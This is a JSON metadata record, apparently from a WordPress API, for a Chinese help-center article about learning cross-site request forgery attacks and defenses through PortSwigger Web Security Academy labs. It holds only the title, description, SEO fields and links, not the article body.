\u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/93074.html","og_locale":"zh_CN","og_type":"article","og_title":"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"CSRF \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\u5b8c\u5168\u5b9e\u6218\u624b\u518c \u5b66\u4e60\u5e73\u53f0：PortSwigger Web Security Academy \u5b8c\u6210\u65e5\u671f：Day 11 \u524d\u7f6e\u77e5\u8bc6：\u5df2\u5b8c\u6210 XSS \u57fa\u7840\u4e0e\u8fdb\u9636（Day 9-10） \u76ee\u5f55 \u4ec0\u4e48\u662f CSRFCSRF \u4e0e XSS \u7684\u6838\u5fc3\u533a\u522b\u5b9e\u9a8c\u5ba4 1：\u65e0\u9632\u5fa1\u7684 CSRF\u5b9e\u9a8c\u5ba4 2：Referer \u9a8c\u8bc1\u5931\u6548\u5b9e\u9a8c\u5ba4 3：Token \u672a\u7ed1\u5b9a\u4f1a\u8bddCSRF \u9632\u5fa1\u65b9\u6848","og_url":"https:\/\/www.wsisp.com\/helps\/93074.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-11T12:18:00+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260811121742-6a7b12e6c98f2.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"6 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/93074.html","url":"https:\/\/www.wsisp.com\/helps\/93074.html","name":"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-11T12:18:00+00:00","dateModified":"2026-08-11T12:18:00+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/93074.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/93074.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/93074.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/93074","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=93074"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/93074\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/93060"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=93074"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=93074"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=93074"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=93074"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}